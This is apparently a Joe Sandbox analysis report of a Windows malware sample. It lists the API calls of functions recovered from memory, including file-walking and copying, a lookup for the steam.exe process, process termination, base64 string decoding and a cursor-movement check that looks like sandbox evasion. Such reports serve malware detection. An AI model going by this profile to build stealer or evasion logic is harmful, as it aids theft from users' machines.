Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

FindFirstFileA.KERNEL32(?,?,\*.*,01015833,?,?,?), ref: 00FEBAD5
StrCmpCA.SHLWAPI(?,01016470), ref: 00FEBAF6
StrCmpCA.SHLWAPI(?,01016474), ref: 00FEBB10

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

CopyFileA.KERNEL32(?,?,00000001), ref: 00FEBF45

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

DeleteFileA.KERNEL32(?), ref: 00FEBFBC

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

FindNextFileA.KERNEL32(?,?), ref: 00FEC02B
FindClose.KERNEL32(?), ref: 00FEC03F

Strings

\*.*, xrefs: 00FEBA9F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2055012574-1173974218
Opcode ID: 7d51386eea73b3ce7fdd049b0e5812ae9a062698b10364b49e76ff627a86f0c4
Instruction ID: 6d1e5641952857588d0d2cdf8e3d1c9eaff09dcb67d391654026601db250c6ac
Opcode Fuzzy Hash: 7d51386eea73b3ce7fdd049b0e5812ae9a062698b10364b49e76ff627a86f0c4
Instruction Fuzzy Hash: 30E1833290016D9BCF60EB25DD46ADDB375AF44305F4144E1AA0877226DBB97F8AAFC0

Function 00FEB719 Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

FindFirstFileA.KERNEL32(?,?,01016458,0101582F,?,?,?), ref: 00FEB791
StrCmpCA.SHLWAPI(?,0101645C), ref: 00FEB7B2
StrCmpCA.SHLWAPI(?,01016460), ref: 00FEB7CC
StrCmpCA.SHLWAPI(?,01016464,?,01015832), ref: 00FEB859
StrCmpCA.SHLWAPI(?), ref: 00FEB8BA

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FEAD1F: CopyFileA.KERNEL32(?,?,00000001), ref: 00FEADC4

FindNextFileA.KERNEL32(?,?), ref: 00FEBA25
FindClose.KERNEL32(?), ref: 00FEBA39

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 14e674afb6e9b5f10118622e5d9240fa2a3fada7c665ce4214bb5f4dad744dae
Instruction ID: eee92c33a19db6e9fcf66bd372f7abe05eea9e37729d1f5655a8c5fcf03b6919
Opcode Fuzzy Hash: 14e674afb6e9b5f10118622e5d9240fa2a3fada7c665ce4214bb5f4dad744dae
Instruction Fuzzy Hash: 97811A3290055C8BCB60FB35EC46ADD7778AF04310F8145A1AE48B3216EB79AE49EFD1

Function 00FF287A Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00FF2884
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FF28A6
Process32First.KERNEL32(00000000,00000128), ref: 00FF28B6
Process32Next.KERNEL32(00000000,00000128), ref: 00FF28C8
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00FF28DA
CloseHandle.KERNEL32(00000000), ref: 00FF28F3

Strings

steam.exe, xrefs: 00FF2889, 00FF28D2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 59e16966234c636198ad156ac228ca2d305017bfaf873b907e36991a0411e197
Instruction ID: 12e802c199a70a7654b785d1593c0d911f85a936e6d09ab4583338249bf56bed
Opcode Fuzzy Hash: 59e16966234c636198ad156ac228ca2d305017bfaf873b907e36991a0411e197
Instruction Fuzzy Hash: B901287090122D9FEB719B64DC08BEEB7B8AF45350F4081A6A649E3194DB348F41DF20

Function 00FE17FD Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00FE1813
SetThreadDesktop.USER32(00000000), ref: 00FE181A
GetCursorPos.USER32(?), ref: 00FE182A
Sleep.KERNEL32(000003E8), ref: 00FE183A
GetCursorPos.USER32(?), ref: 00FE1849
Sleep.KERNEL32(00002710), ref: 00FE185B
Sleep.KERNEL32(000003E8), ref: 00FE1860
GetCursorPos.USER32(?), ref: 00FE186F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: 9649ffa881f5be0df8615e40b5f4a1b9755aa62a4f14d5c37dd4c5614dc9f124
Instruction ID: d0fdc591243f614103eda825904eb6de451e29060a40800ddd862b081269ae41
Opcode Fuzzy Hash: 9649ffa881f5be0df8615e40b5f4a1b9755aa62a4f14d5c37dd4c5614dc9f124
Instruction Fuzzy Hash: 3F113D31E0024AEBDB20DBA6CD49BBE7BB8BF00312F244565D505A2090D774AB40EB60

Function 00FF29DE Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,10000000), ref: 00FF2A0A
Process32First.KERNEL32(00000000,00000128), ref: 00FF2A1A
StrCmpCA.SHLWAPI(?,?), ref: 00FF2A33
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FF2A46
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FF2A55
CloseHandle.KERNEL32(00000000), ref: 00FF2A5C
Process32Next.KERNEL32(00000000,00000128), ref: 00FF2A6A
CloseHandle.KERNEL32(00000000), ref: 00FF2A75

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 5313a131151334090f75a6deff9f392a3bd26d638c39d7490dae5eaa91943a10
Instruction ID: c7bf04179519a6494a666ce8e4770c46a312abb668dcab552bccecebd607a979
Opcode Fuzzy Hash: 5313a131151334090f75a6deff9f392a3bd26d638c39d7490dae5eaa91943a10
Instruction Fuzzy Hash: 70114831A0121DAFDB719F64EC49BEE7BB8AF49B11F008095FB05E2144DB789A459B50

Function 00FEA911 Relevance: 9.1, APIs: 6, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FEA94E
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,00FEAC20), ref: 00FEA969
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 00FEA971
_memmove.LIBCMT ref: 00FEA9F4
lstrcatA.KERNEL32(0101580E,01015812,?,00000000,00000000,00000000,00000000,00000014,?,00FEAC20), ref: 00FEAA1E
lstrcatA.KERNEL32(0101580E,01015813,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,00FEAC20), ref: 00FEAA34

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptString_memmove_memsetlstrlen
String ID:
API String ID: 943939369-0
Opcode ID: 621ca69d8928ee1d808808fa292a5cb44b118f4642f06571e579f8a4a9939856
Instruction ID: 320f3f16935b5638c642e0db2ad08129719a052a0b67b75097d854e49414e3bc
Opcode Fuzzy Hash: 621ca69d8928ee1d808808fa292a5cb44b118f4642f06571e579f8a4a9939856
Instruction Fuzzy Hash: B7318FB1D0021AAFDB219F65EE849FEB7BCAF18700F4040B6F509E2144D7785E449F62

Function 00FF2951 Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00FF295B
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FF297A
Process32First.KERNEL32(00000000,00000128), ref: 00FF298A
Process32Next.KERNEL32(00000000,00000128), ref: 00FF299C
StrCmpCA.SHLWAPI(?), ref: 00FF29AE
CloseHandle.KERNEL32(00000000), ref: 00FF29C2

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 85a3f9489a0df32c9959e5ded4d8cdb0f71a92bfe076b1737f891084f74fca8c
Instruction ID: 5e3511a8d88a406d1c2caee4f8d644a8f996548cc73c0e97842581a52bed4e30
Opcode Fuzzy Hash: 85a3f9489a0df32c9959e5ded4d8cdb0f71a92bfe076b1737f891084f74fca8c
Instruction Fuzzy Hash: CE018C3190412E9FEB719F64AC08BEE7AB8AF05300F0080E5EA09E3184DAB48B41DF61

Function 0100AB6C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0100B1D5,?,01007F86,?,000000BC,?), ref: 0100ABAB
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0100B1D5,?,01007F86,?,000000BC,?), ref: 0100ABD4
GetACP.KERNEL32(?,?,0100B1D5,?,01007F86,?,000000BC,?), ref: 0100ABE8

Strings

OCP, xrefs: 0100AB8C
ACP, xrefs: 0100AB7B

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
